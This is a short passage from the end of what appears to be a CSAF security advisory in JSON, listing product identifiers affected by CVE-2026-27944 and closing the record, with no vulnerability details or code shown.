"CSAFPID-5910304",
"CSAFPID-5910305",
"CSAFPID-5910306",
"CSAFPID-5910307",
"CSAFPID-5910308",
"CSAFPID-5910309",
"CSAFPID-5910310",
"CSAFPID-5910311",
"CSAFPID-5910312",
"CSAFPID-5910313",
"CSAFPID-5910314",
"CSAFPID-5910315",
"CSAFPID-5910316",
"CSAFPID-5910317",
"CSAFPID-5910318",
"CSAFPID-5910319",
"CSAFPID-5910320",
"CSAFPID-5910321",
"CSAFPID-5910322",
"CSAFPID-5910323",
"CSAFPID-5910324",
"CSAFPID-5910325",
"CSAFPID-5910326",
"CSAFPID-5910327",
"CSAFPID-5910328",
"CSAFPID-5910329",
"CSAFPID-5910330",
"CSAFPID-5910331"
]
}
],
"title": "CVE-2026-27944"
}
]
}